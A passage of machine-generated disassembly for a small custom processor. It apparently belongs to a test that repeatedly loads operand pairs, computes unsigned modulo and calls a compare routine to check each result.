5198: 0d 45 05 34 wl16 r9,0x2834
519c: 0d 60 01 23 wh16 r9,0x3
51a0: 10 40 01 29 ld32 r9,r9
51a4: 00 a0 01 10 umod r8,r16
51a8: 20 70 03 e2 movepc rret,8
51ac: 14 30 eb 99 br 10 <compare>,#al
51b0: 00 10 00 41 add r2,1
51b4: 0d 40 c9 00 wl16 r8,0x640
51b8: 0d 60 01 03 wh16 r8,0x3
51bc: 10 40 01 08 ld32 r8,r8
51c0: 0d 42 e6 1c wl16 r16,0x173c
51c4: 0d 60 02 03 wh16 r16,0x3
51c8: 10 40 02 10 ld32 r16,r16
51cc: 0d 45 05 38 wl16 r9,0x2838
51d0: 0d 60 01 23 wh16 r9,0x3
51d4: 10 40 01 29 ld32 r9,r9
51d8: 00 a0 01 10 umod r8,r16
51dc: 20 70 03 e2 movepc rret,8
51e0: 14 30 eb 8c br 10 <compare>,#al
51e4: 00 10 00 41 add r2,1
51e8: 0d 40 c9 04 wl16 r8,0x644
51ec: 0d 60 01 03 wh16 r8,0x3
51f0: 10 40 01 08 ld32 r8,r8
51f4: 0d 42 ea 00 wl16 r16,0x1740
51f8: 0d 60 02 03 wh16 r16,0x3
51fc: 10 40 02 10 ld32 r16,r16
5200: 0d 45 05 3c wl16 r9,0x283c
5204: 0d 60 01 23 wh16 r9,0x3
5208: 10 40 01 29 ld32 r9,r9
520c: 00 a0 01 10 umod r8,r16
5210: 20 70 03 e2 movepc rret,8
5214: 14 30 eb 7f br 10 <compare>,#al
5218: 00 10 00 41 add r2,1
521c: 0d 40 c9 08 wl16 r8,0x648
5220: 0d 60 01 03 wh16 r8,0x3
5224: 10 40 01 08 ld32 r8,r8
5228: 0d 42 ea 04 wl16 r16,0x1744
522c: 0d 60 02 03 wh16 r16,0x3
5230: 10 40 02 10 ld32 r16,r16
5234: 0d 45 09 20 wl16 r9,0x2840
5238: 0d 60 01 23 wh16 r9,0x3
523c: 10 40 01 29 ld32 r9,r9
5240: 00 a0 01 10 umod r8,r16
5244: 20 70 03 e2 movepc rret,8
5248: 14 30 eb 72 br 10 <compare>,#al
524c: 00 10 00 41 add r2,1
5250: 0d 40 c9 0c wl16 r8,0x64c
5254: 0d 60 01 03 wh16 r8,0x3
5258: 10 40 01 08 ld32 r8,r8
525c: 0d 42 ea 08 wl16 r16,0x1748
5260: 0d 60 02 03 wh16 r16,0x3
5264: 10 40 02 10 ld32 r16,r16
5268: 0d 45 09 24 wl16 r9,0x2844
526c: 0d 60 01 23 wh16 r9,0x3
5270: 10 40 01 29 ld32 r9,r9
5274: 00 a0 01 10 umod r8,r16
5278: 20 70 03 e2 movepc rret,8
527c: 14 30 eb 65 br 10 <compare>,#al
5280: 00 10 00 41 add r2,1
5284: 0d 40 c9 10 wl16 r8,0x650
5288: 0d 60 01 03 wh16 r8,0x3
528c: 10 40 01 08 ld32 r8,r8
5290: 0d 42 ea 0c wl16 r16,0x174c
5294: 0d 60 02 03 wh16 r16,0x3
5298: 10 40 02 10 ld32 r16,r16
529c: 0d 45 09 28 wl16 r9,0x2848
52a0: 0d 60 01 23 wh16 r9,0x3
52a4: 10 40 01 29 ld32 r9,r9
52a8: 00 a0 01 10 umod r8,r16
52ac: 20 70 03 e2 movepc rret,8
52b0: 14 30 eb 58 br 10 <compare>,#al
52b4: 00 10 00 41 add r2,1
52b8: 0d 40 c9 14 wl16 r8,0x654
52bc: 0d 60 01 03 wh16 r8,0x3
52c0: 10 40 01 08 ld32 r8,r8
52c4: 0d 42 ea 10 wl16 r16,0x1750
52c8: 0d 60 02 03 wh16 r16,0x3
52cc: 10 40 02 10 ld32 r16,r16
52d0: 0d 45 09 2c wl16 r9,0x284c
52d4: 0d 60 01 23 wh16 r9,0x3
52d8: 10 40 01 29 ld32 r9,r9
52dc: 00 a0 01 10 umod r8,r16
52e0: 20 70 03 e2 movepc rret,8
52e4: 14 30 eb 4b br 10 <compare>,#al
52e8: 00 10 00 41 add r2,1
52ec: 0d 40 c9 18 wl16 r8,0x658
52f0: 0d 60 01 03 wh16 r8,0x3
52f4: 10 40 01 08 ld32 r8,r8
52f8: 0d 42 ea 14 wl16 r16,0x1754
52fc: 0d 60 02 03 wh16 r16,0x3
5300: 10 40 02 10 ld32 r16,r16
5304: 0d 45 09 30 wl16 r9,0x2850
5308: 0d 60 01 23 wh16 r9,0x3
530c: 10 40 01 29 ld32 r9,r9
5310: 00 a0 01 10 umod r8,r16
5314: 20 70 03 e2 movepc rret,8
5318: 14 30 eb 3e br 10 <compare>,#al
531c: 00 10 00 41 add r2,1
5320: 0d 40 c9 1c wl16 r8,0x65c
5324: 0d 60 01 03 wh16 r8,0x3
5328: 10 40 01 08 ld32 r8,r8
532c: 0d 42 ea 18 wl16 r16,0x1758
5330: 0d 60 02 03 wh16 r16,0x3
5334: 10 40 02 10 ld32 r16,r16
5338: 0d 45 09 34 wl16 r9,0x2854
533c: 0d 60 01 23 wh16 r9,0x3
5340: 10 40 01 29 ld32 r9,r9
5344: 00 a0 01 10 umod r8,r16
5348: 20 70 03 e2 movepc rret,8
534c: 14 30 eb 31 br 10 <compare>,#al
5350: 00 10 00 41 add r2,1
5354: 0d 40 cd 00 wl16 r8,0x660
5358: 0d 60 01 03 wh16 r8,0x3
535c: 10 40 01 08 ld32 r8,r8
5360: 0d 42 ea 1c wl16 r16,0x175c
5364: 0d 60 02 03 wh16 r16,0x3
5368: 10 40 02 10 ld32 r16,r16
536c: 0d 45 09 38 wl16 r9,0x2858
5370: 0d 60 01 23 wh16 r9,0x3
5374: 10 40 01 29 ld32 r9,r9
5378: 00 a0 01 10 umod r8,r16
537c: 20 70 03 e2 movepc rret,8
5380: 14 30 eb 24 br 10 <compare>,#al
5384: 00 10 00 41 add r2,1
5388: 0d 40 cd 04 wl16 r8,0x664
538c: 0d 60 01 03 wh16 r8,0x3
5390: 10 40 01 08 ld32 r8,r8
5394: 0d 42 ee 00 wl16 r16,0x1760
5398: 0d 60 02 03 wh16 r16,0x3
539c: 10 40 02 10 ld32 r16,r16
53a0: 0d 45 09 3c wl16 r9,0x285c
53a4: 0d 60 01 23 wh16 r9,0x3
53a8: 10 40 01 29 ld32 r9,r9
53ac: 00 a0 01 10 umod r8,r16
53b0: 20 70 03 e2 movepc rret,8
53b4: 14 30 eb 17 br 10 <compare>,#al
53b8: 00 10 00 41 add r2,1
53bc: 0d 40 cd 08 wl16 r8,0x668
53c0: 0d 60 01 03 wh16 r8,0x3
53c4: 10 40 01 08 ld32 r8,r8
53c8: 0d 42 ee 04 wl16 r16,0x1764
53cc: 0d 60 02 03 wh16 r16,0x3
53d0: 10 40 02 10 ld32 r16,r16
53d4: 0d 45 0d 20 wl16 r9,0x2860
53d8: 0d 60 01 23 wh16 r9,0x3
53dc: 10 40 01 29 ld32 r9,r9
53e0: 00 a0 01 10 umod r8,r16
53e4: 20 70 03 e2 movepc rret,8
53e8: 14 30 eb 0a br 10 <compare>,#al
53ec: 00 10 00 41 add r2,1
53f0: 0d 40 cd 0c wl16 r8,0x66c
53f4: 0d 60 01 03 wh16 r8,0x3
53f8: 10 40 01 08 ld32 r8,r8
53fc: 0d 42 ee 08 wl16 r16,0x1768
5400: 0d 60 02 03 wh16 r16,0x3
5404: 10 40 02 10 ld32 r16,r16
5408: 0d 45 0d 24 wl16 r9,0x2864
540c: 0d 60 01 23 wh16 r9,0x3
5410: 10 40 01 29 ld32 r9,r9
5414: 00 a0 01 10 umod r8,r16
5418: 20 70 03 e2 movepc rret,8
541c: 14 30 ea fd br 10 <compare>,#al
5420: 00 10 00 41 add r2,1
5424: 0d 40 cd 10 wl16 r8,0x670
5428: 0d 60 01 03 wh16 r8,0x3
542c: 10 40 01 08 ld32 r8,r8
5430: 0d 42 ee 0c wl16 r16,0x176c
5434: 0d 60 02 03 wh16 r16,0x3
5438: 10 40 02 10 ld32 r16,r16
543c: 0d 45 0d 28 wl16 r9,0x2868
5440: 0d 60 01 23 wh16 r9,0x3
5444: 10 40 01 29 ld32 r9,r9
5448: 00 a0 01 10 umod r8,r16
544c: 20 70 03 e2 movepc rret,8
5450: 14 30 ea f0 br 10 <compare>,#al
5454: 00 10 00 41 add r2,1
5458: 0d 40 cd 14 wl16 r8,0x674
545c: 0d 60 01 03 wh16 r8,0x3
5460: 10 40 01 08 ld32 r8,r8
5464: 0d 42 ee 10 wl16 r16,0x1770
5468: 0d 60 02 03 wh16 r16,0x3
546c: 10 40 02 10 ld32 r16,r16
5470: 0d 45 0d 2c wl16 r9,0x286c
5474: 0d 60 01 23 wh16 r9,0x3
5478: 10 40 01 29 ld32 r9,r9
547c: 00 a0 01 10 umod r8,r16
5480: 20 70 03 e2 movepc rret,8
5484: 14 30 ea e3 br 10 <compare>,#al
5488: 00 10 00 41 add r2,1
548c: 0d 40 cd 18 wl16 r8,0x678
5490: 0d 60 01 03 wh16 r8,0x3
5494: 10 40 01 08 ld32 r8,r8
5498: 0d 42 ee 14 wl16 r16,0x1774
549c: 0d 60 02 03 wh16 r16,0x3
54a0: 10 40 02 10 ld32 r16,r16
54a4: 0d 45 0d 30 wl16 r9,0x2870
54a8: 0d 60 01 23 wh16 r9,0x3
54ac: 10 40 01 29 ld32 r9,r9
54b0: 00 a0 01 10 umod r8,r16
54b4: 20 70 03 e2 movepc rret,8
54b8: 14 30 ea d6 br 10 <compare>,#al
54bc: 00 10 00 41 add r2,1
54c0: 0d 40 cd 1c wl16 r8,0x67c
54c4: 0d 60 01 03 wh16 r8,0x3
54c8: 10 40 01 08 ld32 r8,r8
54cc: 0d 42 ee 18 wl16 r16,0x1778
54d0: 0d 60 02 03 wh16 r16,0x3
54d4: 10 40 02 10 ld32 r16,r16
54d8: 0d 45 0d 34 wl16 r9,0x2874
54dc: 0d 60 01 23 wh16 r9,0x3
54e0: 10 40 01 29 ld32 r9,r9
54e4: 00 a0 01 10 umod r8,r16
54e8: 20 70 03 e2 movepc rret,8
54ec: 14 30 ea c9 br 10 <compare>,#al
54f0: 00 10 00 41 add r2,1
54f4: 0d 40 d1 00 wl16 r8,0x680
54f8: 0d 60 01 03 wh16 r8,0x3
54fc: 10 40 01 08 ld32 r8,r8
5500: 0d 42 ee 1c wl16 r16,0x177c
5504: 0d 60 02 03 wh16 r16,0x3
5508: 10 40 02 10 ld32 r16,r16
550c: 0d 45 0d 38 wl16 r9,0x2878
5510: 0d 60 01 23 wh16 r9,0x3
5514: 10 40 01 29 ld32 r9,r9
5518: 00 a0 01 10 umod r8,r16
551c: 20 70 03 e2 movepc rret,8
5520: 14 30 ea bc br 10 <compare>,#al
5524: 00 10 00 41 add r2,1
5528: 0d 40 d1 04 wl16 r8,0x684
552c: 0d 60 01 03 wh16 r8,0x3
5530: 10 40 01 08 ld32 r8,r8
5534: 0d 42 f2 00 wl16 r16,0x1780
5538: 0d 60 02 03 wh16 r16,0x3
553c: 10 40 02 10 ld32 r16,r16
5540: 0d 45 0d 3c wl16 r9,0x287c
5544: 0d 60 01 23 wh16 r9,0x3
5548: 10 40 01 29 ld32 r9,r9
554c: 00 a0 01 10 umod r8,r16
5550: 20 70 03 e2 movepc rret,8
5554: 14 30 ea af br 10 <compare>,#al
5558: 00 10 00 41 add r2,1
555c: 0d 40 d1 08 wl16 r8,0x688
5560: 0d 60 01 03 wh16 r8,0x3
5564: 10 40 01 08 ld32 r8,r8
5568: 0d 42 f2 04 wl16 r16,0x1784
556c: 0d 60 02 03 wh16 r16,0x3
5570: 10 40 02 10 ld32 r16,r16
5574: 0d 45 11 20 wl16 r9,0x2880
5578: 0d 60 01 23 wh16 r9,0x3
557c: 10 40 01 29 ld32 r9,r9
5580: 00 a0 01 10 umod r8,r16
5584: 20 70 03 e2 movepc rret,8
5588: 14 30 ea a2 br 10 <compare>,#al
558c: 00 10 00 41 add r2,1
5590: 0d 40 d1 0c wl16 r8,0x68c
5594: 0d 60 01 03 wh16 r8,0x3
5598: 10 40 01 08 ld32 r8,r8
559c: 0d 42 f2 08 wl16 r16,0x1788
55a0: 0d 60 02 03 wh16 r16,0x3
55a4: 10 40 02 10 ld32 r16,r16
55a8: 0d 45 11 24 wl16 r9,0x2884
55ac: 0d 60 01 23 wh16 r9,0x3
55b0: 10 40 01 29 ld32 r9,r9
55b4: 00 a0 01 10 umod r8,r16
55b8: 20 70 03 e2 movepc rret,8
55bc: 14 30 ea 95 br 10 <compare>,#al
55c0: 00 10 00 41 add r2,1
55c4: 0d 40 d1 10 wl16 r8,0x690
55c8: 0d 60 01 03 wh16 r8,0x3
55cc: 10 40 01 08 ld32 r8,r8
55d0: 0d 42 f2 0c wl16 r16,0x178c
55d4: 0d 60 02 03 wh16 r16,0x3
55d8: 10 40 02 10 ld32 r16,r16
55dc: 0d 45 11 28 wl16 r9,0x2888
55e0: 0d 60 01 23 wh16 r9,0x3
55e4: 10 40 01 29 ld32 r9,r9
55e8: 00 a0 01 10 umod r8,r16
55ec: 20 70 03 e2 movepc rret,8
55f0: 14 30 ea 88 br 10 <compare>,#al
55f4: 00 10 00 41 add r2,1
55f8: 0d 40 d1 14 wl16 r8,0x694
55fc: 0d 60 01 03 wh16 r8,0x3
5600: 10 40 01 08 ld32 r8,r8
5604: 0d 42 f2 10 wl16 r16,0x1790
5608: 0d 60 02 03 wh16 r16,0x3
560c: 10 40 02 10 ld32 r16,r16
5610: 0d 45 11 2c wl16 r9,0x288c
5614: 0d 60 01 23 wh16 r9,0x3
5618: 10 40 01 29 ld32 r9,r9
561c: 00 a0 01 10 umod r8,r16
5620: 20 70 03 e2 movepc rret,8
5624: 14 30 ea 7b br 10 <compare>,#al
5628: 00 10 00 41 add r2,1
562c: 0d 40 d1 18 wl16 r8,0x698
5630: 0d 60 01 03 wh16 r8,0x3
5634: 10 40 01 08 ld32 r8,r8
5638: 0d 42 f2 14 wl16 r16,0x1794
563c: 0d 60 02 03 wh16 r16,0x3
5640: 10 40 02 10 ld32 r16,r16
5644: 0d 45 11 30 wl16 r9,0x2890
5648: 0d 60 01 23 wh16 r9,0x3
564c: 10 40 01 29 ld32 r9,r9
5650: 00 a0 01 10 umod r8,r16
5654: 20 70 03 e2 movepc rret,8
5658: 14 30 ea 6e br 10 <compare>,#al
565c: 00 10 00 41 add r2,1
5660: 0d 40 d1 1c wl16 r8,0x69c
5664: 0d 60 01 03 wh16 r8,0x3
5668: 10 40 01 08 ld32 r8,r8
566c: 0d 42 f2 18 wl16 r16,0x1798
5670: 0d 60 02 03 wh16 r16,0x3
5674: 10 40 02 10 ld32 r16,r16
5678: 0d 45 11 34 wl16 r9,0x2894
567c: 0d 60 01 23 wh16 r9,0x3
5680: 10 40 01 29 ld32 r9,r9
5684: 00 a0 01 10 umod r8,r16
5688: 20 70 03 e2 movepc rret,8
568c: 14 30 ea 61 br 10 <compare>,#al
5690: 00 10 00 41 add r2,1
5694: 0d 40 d5 00 wl16 r8,0x6a0
5698: 0d 60 01 03 wh16 r8,0x3
569c: 10 40 01 08 ld32 r8,r8
56a0: 0d 42 f2 1c wl16 r16,0x179c
56a4: 0d 60 02 03 wh16 r16,0x3
56a8: 10 40 02 10 ld32 r16,r16
56ac: 0d 45 11 38 wl16 r9,0x2898
56b0: 0d 60 01 23 wh16 r9,0x3
56b4: 10 40 01 29 ld32 r9,r9
56b8: 00 a0 01 10 umod r8,r16
56bc: 20 70 03 e2 movepc rret,8
56c0: 14 30 ea 54 br 10 <compare>,#al
56c4: 00 10 00 41 add r2,1
56c8: 0d 40 d5 04 wl16 r8,0x6a4
56cc: 0d 60 01 03 wh16 r8,0x3
56d0: 10 40 01 08 ld32 r8,r8
56d4: 0d 42 f6 00 wl16 r16,0x17a0
56d8: 0d 60 02 03 wh16 r16,0x3
56dc: 10 40 02 10 ld32 r16,r16
56e0: 0d 45 11 3c wl16 r9,0x289c
56e4: 0d 60 01 23 wh16 r9,0x3
56e8: 10 40 01 29 ld32 r9,r9
56ec: 00 a0 01 10 umod r8,r16
56f0: 20 70 03 e2 movepc rret,8
56f4: 14 30 ea 47 br 10 <compare>,#al
56f8: 00 10 00 41 add r2,1
56fc: 0d 40 d5 08 wl16 r8,0x6a8
5700: 0d 60 01 03 wh16 r8,0x3
5704: 10 40 01 08 ld32 r8,r8
5708: 0d 42 f6 04 wl16 r16,0x17a4
570c: 0d 60 02 03 wh16 r16,0x3
5710: 10 40 02 10 ld32 r16,r16
5714: 0d 45 15 20 wl16 r9,0x28a0
5718: 0d 60 01 23 wh16 r9,0x3
571c: 10 40 01 29 ld32 r9,r9
5720: 00 a0 01 10 umod r8,r16
5724: 20 70 03 e2 movepc rret,8
5728: 14 30 ea 3a br 10 <compare>,#al
572c: 00 10 00 41 add r2,1
5730: 0d 40 d5 0c wl16 r8,0x6ac
5734: 0d 60 01 03 wh16 r8,0x3
5738: 10 40 01 08 ld32 r8,r8
573c: 0d 42 f6 08 wl16 r16,0x17a8
5740: 0d 60 02 03 wh16 r16,0x3
5744: 10 40 02 10 ld32 r16,r16
5748: 0d 45 15 24 wl16 r9,0x28a4
574c: 0d 60 01 23 wh16 r9,0x3
5750: 10 40 01 29 ld32 r9,r9
5754: 00 a0 01 10 umod r8,r16
5758: 20 70 03 e2 movepc rret,8
575c: 14 30 ea 2d br 10 <compare>,#al
5760: 00 10 00 41 add r2,1
5764: 0d 40 d5 10 wl16 r8,0x6b0
5768: 0d 60 01 03 wh16 r8,0x3
576c: 10 40 01 08 ld32 r8,r8
5770: 0d 42 f6 0c wl16 r16,0x17ac
5774: 0d 60 02 03 wh16 r16,0x3
5778: 10 40 02 10 ld32 r16,r16
577c: 0d 45 15 28 wl16 r9,0x28a8
5780: 0d 60 01 23 wh16 r9,0x3
5784: 10 40 01 29 ld32 r9,r9
5788: 00 a0 01 10 umod r8,r16
578c: 20 70 03 e2 movepc rret,8
5790: 14 30 ea 20 br 10 <compare>,#al
5794: 00 10 00 41 add r2,1
5798: 0d 40 d5 14 wl16 r8,0x6b4
579c: 0d 60 01 03 wh16 r8,0x3
57a0: 10 40 01 08 ld32 r8,r8
57a4: 0d 42 f6 10 wl16 r16,0x17b0
57a8: 0d 60 02 03 wh16 r16,0x3
57ac: 10 40 02 10 ld32 r16,r16
57b0: 0d 45 15 2c wl16 r9,0x28ac
57b4: 0d 60 01 23 wh16 r9,0x3
57b8: 10 40 01 29 ld32 r9,r9
57bc: 00 a0 01 10 umod r8,r16
57c0: 20 70 03 e2 movepc rret,8
57c4: 14 30 ea 13 br 10 <compare>,#al
57c8: 00 10 00 41 add r2,1
57cc: 0d 40 d5 18 wl16 r8,0x6b8
57d0: 0d 60 01 03 wh16 r8,0x3
57d4: 10 40 01 08 ld32 r8,r8
57d8: 0d 42 f6 14 wl16 r16,0x17b4
57dc: 0d 60 02 03 wh16 r16,0x3
57e0: 10 40 02 10 ld32 r16,r16
57e4: 0d 45 15 30 wl16 r9,0x28b0
57e8: 0d 60 01 23 wh16 r9,0x3
57ec: 10 40 01 29 ld32 r9,r9
57f0: 00 a0 01 10 umod r8,r16
57f4: 20 70 03 e2 movepc rret,8
57f8: 14 30 ea 06 br 10 <compare>,#al
57fc: 00 10 00 41 add r2,1
5800: 0d 40 d5 1c wl16 r8,0x6bc
5804: 0d 60 01 03 wh16 r8,0x3
5808: 10 40 01 08 ld32 r8,r8
580c: 0d 42 f6 18 wl16 r16,0x17b8
5810: 0d 60 02 03 wh16 r16,0x3
5814: 10 40 02 10 ld32 r16,r16
5818: 0d 45 15 34 wl16 r9,0x28b4
581c: 0d 60 01 23 wh16 r9,0x3
5820: 10 40 01 29 ld32 r9,r9
5824: 00 a0 01 10 umod r8,r16
5828: 20 70 03 e2 movepc rret,8
582c: 14 30 e9 f9 br 10 <compare>,#al
5830: 00 10 00 41 add r2,1
5834: 0d 40 d9 00 wl16 r8,0x6c0
5838: 0d 60 01 03 wh16 r8,0x3
583c: 10 40 01 08 ld32 r8,r8
5840: 0d 42 f6 1c wl16 r16,0x17bc
5844: 0d 60 02 03 wh16 r16,0x3
5848: 10 40 02 10 ld32 r16,r16
584c: 0d 45 15 38 wl16 r9,0x28b8
5850: 0d 60 01 23 wh16 r9,0x3
5854: 10 40 01 29 ld32 r9,r9
5858: 00 a0 01 10 umod r8,r16
585c: 20 70 03 e2 movepc rret,8
5860: 14 30 e9 ec br 10 <compare>,#al
5864: 00 10 00 41 add r2,1
5868: 0d 40 d9 04 wl16 r8,0x6c4
586c: 0d 60 01 03 wh16 r8,0x3
5870: 10 40 01 08 ld32 r8,r8
5874: 0d 42 fa 00 wl16 r16,0x17c0
5878: 0d 60 02 03 wh16 r16,0x3
587c: 10 40 02 10 ld32 r16,r16
5880: 0d 45 15 3c wl16 r9,0x28bc
5884: 0d 60 01 23 wh16 r9,0x3
5888: 10 40 01 29 ld32 r9,r9
588c: 00 a0 01 10 umod r8,r16
5890: 20 70 03 e2 movepc rret,8
5894: 14 30 e9 df br 10 <compare>,#al
5898: 00 10 00 41 add r2,1
589c: 0d 40 d9 08 wl16 r8,0x6c8
58a0: 0d 60 01 03 wh16 r8,0x3
58a4: 10 40 01 08 ld32 r8,r8
58a8: 0d 42 fa 04 wl16 r16,0x17c4
58ac: 0d 60 02 03 wh16 r16,0x3
58b0: 10 40 02 10 ld32 r16,r16
58b4: 0d 45 19 20 wl16 r9,0x28c0
58b8: 0d 60 01 23 wh16 r9,0x3
58bc: 10 40 01 29 ld32 r9,r9
58c0: 00 a0 01 10 umod r8,r16
58c4: 20 70 03 e2 movepc rret,8
58c8: 14 30 e9 d2 br 10 <compare>,#al
58cc: 00 10 00 41 add r2,1
58d0: 0d 40 d9 0c wl16 r8,0x6cc
58d4: 0d 60 01 03 wh16 r8,0x3
58d8: 10 40 01 08 ld32 r8,r8
58dc: 0d 42 fa 08 wl16 r16,0x17c8
58e0: 0d 60 02 03 wh16 r16,0x3
58e4: 10 40 02 10 ld32 r16,r16
58e8: 0d 45 19 24 wl16 r9,0x28c4
58ec: 0d 60 01 23 wh16 r9,0x3
58f0: 10 40 01 29 ld32 r9,r9
58f4: 00 a0 01 10 umod r8,r16
58f8: 20 70 03 e2 movepc rret,8
58fc: 14 30 e9 c5 br 10 <compare>,#al
5900: 00 10 00 41 add r2,1
5904: 0d 40 d9 10 wl16 r8,0x6d0
5908: 0d 60 01 03 wh16 r8,0x3
590c: 10 40 01 08 ld32 r8,r8
5910: 0d 42 fa 0c wl16 r16,0x17cc
5914: 0d 60 02 03 wh16 r16,0x3
5918: 10 40 02 10 ld32 r16,r16
591c: 0d 45 19 28 wl16 r9,0x28c8
5920: 0d 60 01 23 wh16 r9,0x3
5924: 10 40 01 29 ld32 r9,r9
5928: 00 a0 01 10 umod r8,r16
592c: 20 70 03 e2 movepc rret,8
5930: 14 30 e9 b8 br 10 <compare>,#al
5934: 00 10 00 41 add r2,1
5938: 0d 40 d9 14 wl16 r8,0x6d4
593c: 0d 60 01 03 wh16 r8,0x3
5940: 10 40 01 08 ld32 r8,r8
5944: 0d 42 fa 10 wl16 r16,0x17d0
5948: 0d 60 02 03 wh16 r16,0x3
594c: 10 40 02 10 ld32 r16,r16
5950: 0d 45 19 2c wl16 r9,0x28cc
5954: 0d 60 01 23 wh16 r9,0x3
5958: 10 40 01 29 ld32 r9,r9
595c: 00 a0 01 10 umod r8,r16
5960: 20 70 03 e2 movepc rret,8
5964: 14 30 e9 ab br 10 <compare>,#al
5968: 00 10 00 41 add r2,1
596c: 0d 40 d9 18 wl16 r8,0x6d8
5970: 0d 60 01 03 wh16 r8,0x3
5974: 10 40 01 08 ld32 r8,r8
5978: 0d 42 fa 14 wl16 r16,0x17d4
597c: 0d 60 02 03 wh16 r16,0x3
5980: 10 40 02 10 ld32 r16,r16
5984: 0d 45 19 30 wl16 r9,0x28d0
5988: 0d 60 01 23 wh16 r9,0x3
598c: 10 40 01 29 ld32 r9,r9
5990: 00 a0 01 10 umod r8,r16
5994: 20 70 03 e2 movepc rret,8
5998: 14 30 e9 9e br 10 <compare>,#al
599c: 00 10 00 41 add r2,1
59a0: 0d 40 d9 1c wl16 r8,0x6dc
59a4: 0d 60 01 03 wh16 r8,0x3
59a8: 10 40 01 08 ld32 r8,r8
59ac: 0d 42 fa 18 wl16 r16,0x17d8
59b0: 0d 60 02 03 wh16 r16,0x3
59b4: 10 40 02 10 ld32 r16,r16
59b8: 0d 45 19 34 wl16 r9,0x28d4
59bc: 0d 60 01 23 wh16 r9,0x3
59c0: 10 40 01 29 ld32 r9,r9
59c4: 00 a0 01 10 umod r8,r16
59c8: 20 70 03 e2 movepc rret,8
59cc: 14 30 e9 91 br 10 <compare>,#al
59d0: 00 10 00 41 add r2,1
59d4: 0d 40 dd 00 wl16 r8,0x6e0
59d8: 0d 60 01 03 wh16 r8,0x3
59dc: 10 40 01 08 ld32 r8,r8
59e0: 0d 42 fa 1c wl16 r16,0x17dc
59e4: 0d 60 02 03 wh16 r16,0x3
59e8: 10 40 02 10 ld32 r16,r16
59ec: 0d 45 19 38 wl16 r9,0x28d8
59f0: 0d 60 01 23 wh16 r9,0x3
59f4: 10 40 01 29 ld32 r9,r9
59f8: 00 a0 01 10 umod r8,r16
59fc: 20 70 03 e2 movepc rret,8
5a00: 14 30 e9 84 br 10 <compare>,#al
5a04: 00 10 00 41 add r2,1
5a08: 0d 40 dd 04 wl16 r8,0x6e4
5a0c: 0d 60 01 03 wh16 r8,0x3
5a10: 10 40 01 08 ld32 r8,r8
5a14: 0d 42 fe 00 wl16 r16,0x17e0
5a18: 0d 60 02 03 wh16 r16,0x3
5a1c: 10 40 02 10 ld32 r16,r16
5a20: 0d 45 19 3c wl16 r9,0x28dc
5a24: 0d 60 01 23 wh16 r9,0x3
5a28: 10 40 01 29 ld32 r9,r9
5a2c: 00 a0 01 10 umod r8,r16
5a30: 20 70 03 e2 movepc rret,8
5a34: 14 30 e9 77 br 10 <compare>,#al
5a38: 00 10 00 41 add r2,1
5a3c: 0d 40 dd 08 wl16 r8,0x6e8
5a40: 0d 60 01 03 wh16 r8,0x3
5a44: 10 40 01 08 ld32 r8,r8
5a48: 0d 42 fe 04 wl16 r16,0x17e4
5a4c: 0d 60 02 03 wh16 r16,0x3
5a50: 10 40 02 10 ld32 r16,r16
5a54: 0d 45 1d 20 wl16 r9,0x28e0
5a58: 0d 60 01 23 wh16 r9,0x3
5a5c: 10 40 01 29 ld32 r9,r9
5a60: 00 a0 01 10 umod r8,r16
5a64: 20 70 03 e2 movepc rret,8
5a68: 14 30 e9 6a br 10 <compare>,#al
5a6c: 00 10 00 41 add r2,1
5a70: 0d 40 dd 0c wl16 r8,0x6ec
5a74: 0d 60 01 03 wh16 r8,0x3
5a78: 10 40 01 08 ld32 r8,r8
5a7c: 0d 42 fe 08 wl16 r16,0x17e8
5a80: 0d 60 02 03 wh16 r16,0x3
5a84: 10 40 02 10 ld32 r16,r16
5a88: 0d 45 1d 24 wl16 r9,0x28e4
5a8c: 0d 60 01 23 wh16 r9,0x3
5a90: 10 40 01 29 ld32 r9,r9
5a94: 00 a0 01 10 umod r8,r16
5a98: 20 70 03 e2 movepc rret,8
5a9c: 14 30 e9 5d br 10 <compare>,#al
5aa0: 00 10 00 41 add r2,1
5aa4: 0d 40 dd 10 wl16 r8,0x6f0
5aa8: 0d 60 01 03 wh16 r8,0x3
5aac: 10 40 01 08 ld32 r8,r8
5ab0: 0d 42 fe 0c wl16 r16,0x17ec
5ab4: 0d 60 02 03 wh16 r16,0x3
5ab8: 10 40 02 10 ld32 r16,r16
5abc: 0d 45 1d 28 wl16 r9,0x28e8
5ac0: 0d 60 01 23 wh16 r9,0x3
5ac4: 10 40 01 29 ld32 r9,r9
5ac8: 00 a0 01 10 umod r8,r16
5acc: 20 70 03 e2 movepc rret,8
5ad0: 14 30 e9 50 br 10 <compare>,#al
5ad4: 00 10 00 41 add r2,1
5ad8: 0d 40 dd 14 wl16 r8,0x6f4
5adc: 0d 60 01 03 wh16 r8,0x3
5ae0: 10 40 01 08 ld32 r8,r8
5ae4: 0d 42 fe 10 wl16 r16,0x17f0
5ae8: 0d 60 02 03 wh16 r16,0x3
5aec: 10 40 02 10 ld32 r16,r16
5af0: 0d 45 1d 2c wl16 r9,0x28ec
5af4: 0d 60 01 23 wh16 r9,0x3
5af8: 10 40 01 29 ld32 r9,r9
5afc: 00 a0 01 10 umod r8,r16
5b00: 20 70 03 e2 movepc rret,8
5b04: 14 30 e9 43 br 10 <compare>,#al
5b08: 00 10 00 41 add r2,1
5b0c: 0d 40 dd 18 wl16 r8,0x6f8
5b10: 0d 60 01 03 wh16 r8,0x3
5b14: 10 40 01 08 ld32 r8,r8
5b18: 0d 42 fe 14 wl16 r16,0x17f4
5b1c: 0d 60 02 03 wh16 r16,0x3
5b20: 10 40 02 10 ld32 r16,r16
5b24: 0d 45 1d 30 wl16 r9,0x28f0
5b28: 0d 60 01 23 wh16 r9,0x3
5b2c: 10 40 01 29 ld32 r9,r9
5b30: 00 a0 01 10 umod r8,r16
5b34: 20 70 03 e2 movepc rret,8
5b38: 14 30 e9 36 br 10 <compare>,#al
5b3c: 00 10 00 41 add r2,1
5b40: 0d 40 dd 1c wl16 r8,0x6fc
5b44: 0d 60 01 03 wh16 r8,0x3
5b48: 10 40 01 08 ld32 r8,r8
5b4c: 0d 42 fe 18 wl16 r16,0x17f8
5b50: 0d 60 02 03 wh16 r16,0x3
5b54: 10 40 02 10 ld32 r16,r16
5b58: 0d 45 1d 34 wl16 r9,0x28f4
5b5c: 0d 60 01 23 wh16 r9,0x3
5b60: 10 40 01 29 ld32 r9,r9
5b64: 00 a0 01 10 umod r8,r16
5b68: 20 70 03 e2 movepc rret,8
5b6c: 14 30 e9 29 br 10 <compare>,#al
5b70: 00 10 00 41 add r2,1
5b74: 0d 40 e1 00 wl16 r8,0x700
